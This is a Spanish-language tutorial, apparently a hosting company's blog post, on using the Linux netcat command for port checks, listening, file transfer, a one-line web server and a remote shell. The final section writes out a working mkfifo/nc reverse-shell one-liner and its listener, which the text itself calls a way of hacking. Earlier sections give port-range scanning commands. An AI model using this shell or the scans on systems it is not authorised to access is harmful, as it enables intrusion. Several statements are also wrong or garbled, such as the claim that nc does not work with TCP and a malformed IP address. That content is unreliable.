Métodos de pago Abuse

Para qué sirve el comando NC en Linux

29.08.2024, 02:19

El comando netcat es necesario para enviar y recibir datos utilizando los protocolos TCP y UDP. No tiene un gran conjunto de funciones, pero es suficiente para la comprobación de conexiones y la depuración sencilla. ¿Cómo comunicarse mediante el protocolo TCP? Esta pregunta se la hacen muchos usuarios. En este artículo responderemos a esta pregunta y también mostraremos ejemplos de aplicación real del comando.

¿Qué hace el comando?

El comando netcat (o nc) es una potente herramienta para trabajar con conexiones de red. A menudo es utilizado por administradores de sistemas y desarrolladores para diversas tareas. Éstas son las principales funciones y características de netcat:

  1. Establecimiento de conexiones TCP/UDP: permite establecer conexiones con hosts remotos utilizando los protocolos TCP y UDP.
  2. Escucha de puertos: puede utilizarse como servidor para escuchar conexiones entrantes en un puerto específico.
  3. Transferencia de datos: permite transferir datos entre ordenadores a través de una red. Esto puede ser útil para la transferencia de archivos o mensajería.
  4. Depuración de aplicaciones de red: se utiliza para probar y depurar servicios de red, permitiendo enviar y recibir datos arbitrarios.
  5. Crear chats sencillos: se puede establecer una comunicación de texto sencilla entre dos sistemas.
  6. Escaneo de puertos: puede utilizarse para comprobar si hay puertos abiertos en hosts remotos.
  7. Tunelización: puede utilizarse para crear túneles para redirigir el tráfico a través de otros puertos o hosts.
  8. Trabajar con proxies: puede utilizarse para trabajar con servidores proxy y realizar diversas tareas de red.

netcat es una herramienta versátil que se puede utilizar en una amplia variedad de escenarios, desde la mensajería simple a operaciones de red complejas.

Opciones

Empecemos por ver la sintaxis y las más populares:

  • -6 - utilizar el protocolo IPv6. El valor por defecto es -4 e IPv4 respectivamente;
  • -h - mostrar ayuda con la lista de parámetros disponibles;
  • -i - delay - añade retardo entre el envío de cadenas o el escaneo de puertos. Se establece en segundos;
  • -l - modo de escucha. Se utiliza con la especificación del puerto;
  • -N - cierra la conexión cuando se alcanza el final del fichero al enviarlo;
  • -n - Trabaja con direcciones IP directamente sin DNS, también desactiva el escaneo de puertos;
  • -P - nombre_usuario - especificar el nombre de usuario para conectarse al proxy;
  • -x - address:port - especificar la dirección y el puerto para conectarse al proxy;
  • -p - port - especifica el número de puerto. En la mayoría de los casos, el puerto se lee sin especificar el parámetro;
  • -U - utilizar socket de dominio UNIX (para comunicación entre procesos);
  • -u - utilizar protocolo UDP, por defecto se utiliza TCP;
  • -v - modo detallado. Se utiliza al escanear;
  • -W number_packets - cierra la conexión después de recibir un cierto número de paquetes;
  • -w timer - activa el temporizador para limitar el tiempo de conexión. Se establece en segundos;
  • -z - desactivar el envío de datos. Se utiliza durante la exploración.

El comando tiene la siguiente forma (parámetros dirección del puerto):

$ nc

A continuación le indicaremos cómo utilizar el comando.

Comprobación del puerto

La comprobación es el uso principal de netcat. Debe utilizar dos parámetros -vz, especificar dirección y puerto. Puedes especificar un rango de direcciones, pero en este caso es mejor cribar sólo los puertos abiertos con el comandogrep. Vamos a escanear los puertos de la dirección de la red local:

$ nc -vz 192.168.31.247 8080
$ nc -vz 192.168.31.247 1-1000 2>&1 | grep succeeded

Del mismo modo, escaneemos los puertos UDP añadiendo el parámetro -u:

$ nc -vzu 192.168.31.247 1-1000 2>&1 | grep succeeded

Debes conocer la principal diferencia entre TCP y UDP. Así que en UDP los puertos están siempre disponibles.

Escuchar el puerto

El parámetro -l sirve para escuchar el puerto. A menudo es suficiente, pero puede activar el modo detallado:

$ nc -nlv 8080

Recuerde que cuando se utiliza el protocolo TCP, el puerto debe estar libre, de lo contrario aparecerá el error Ya en uso. No todos los puertos pueden ser utilizados por usuarios normales, por ejemplo el puerto 80 (HTTP), lo más probable es que esté ocupado por otro proceso y requerirá derechos de superusuario.

Intercambio de archivos

Una capacidad útil del comando es el intercambio de datos. Un ejemplo sencillo es una sala de chat de texto. Para iniciar un chat en un ordenador, ejecute la utilidad en el modo de escucha de puertos:

$ nc -lp 8080

En el otro ordenador, deberá especificar la dirección del primer ordenador y el mismo puerto. No olvides comprobar también que el puerto está abierto:

$ nc 0.0.0.0 8080

De esta forma podrás enviar y recibir mensajes. Es decir, el comando está pensado para el intercambio de archivos. El principio es el mismo, salvo que es necesario redirigir la salida a un fichero, concretamente paste.txt:

$ nc -l 8080 > paste.txt

En el otro PC, el fichero copy.txt servirá de entrada. No está de más utilizar el parámetro -N para cerrar la conexión tras la transferencia de ficheros:

$ nc -N 0.0.0.0 8080 < copy.txt

Para la transferencia de archivos, es importante seguir la secuencia, primero abrir la escucha y sólo después enviar el archivo. El comando nc funciona, pero está lejos de ser la mejor manera de transferir archivos. Hay herramientas más eficientes y útiles para esta tarea.

Un servidor web sencillo

Dado que el comando NC no funciona con el protocolo TCP, permite tanto enviar como recibir peticiones HTTP. Por lo tanto, la utilidad puede convertirse en un simple servidor web. Sí, no se puede hacer nada más complicado que una página en blanco de esta manera, pero la operación no llevará casi nada de tiempo, y el plus es que no hace falta instalar nada adicional.

En el formulario de ejemplo respuesta HTTP con el archivo index.html. Hablando de np en sí, es una buena idea establecer un temporizador con el parámetro -w 1 para romper la conexión si el navegador no lo hace:

$ while true; do echo -e "HTTP/1.1 200 OKnn$(cat index.html)" | nc -l -w 1 -p 8080; done

Para obtener datos de un sitio web, puedes formar una petición y enviarla a la dirección y puerto aconsejados. Pero esta forma es bastante complicada, es mejor usar el comando CURL apropiado.

Shell Remoto

Basándonos en los ejemplos discutidos anteriormente, no será difícil concluir que el comando permite organizar el acceso remoto al shell del ordenador. Anteriormente, la utilidad NC tenía varios parámetros para abrir el acceso al terminal. El parámetro -e ha sido eliminado de la utilidad hace tiempo, por lo que ya no habrá un acceso sencillo al terminal. La seguridad de la propia aplicación ha aumentado, pero aún puede funcionar en conjunción con otras.

Vamos a mostrar la conexión utilizando el canal con nombre mkfifo. En primer lugar, vamos a empezar a escuchar el puerto en el PC donde vamos a tener acceso:

$ nc -lvnp 8080

Vayamos directamente al comando para abrir la terminal. Primero borramos el antiguo canal con nombre(rm /tmp/f), creamos uno nuevo en su lugar(mkfifo /tmp/f), leemos su contenido(cat /tmp/f) y enviamos un comando shell a su salida(sh -i 2>&1). Después, queda ejecutar nc con salida a nuestro canal nombrado(nc 0.0.0.0.0 8080 >/tmp/f):

$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 0.0.0.0 8080 >/tmp/f

Ten en cuenta que esta es una forma de hackear, sin embargo, puede ser útil si hay problemas con ssh. Para prevenir el ataque configure una política de seguridad y un firewall.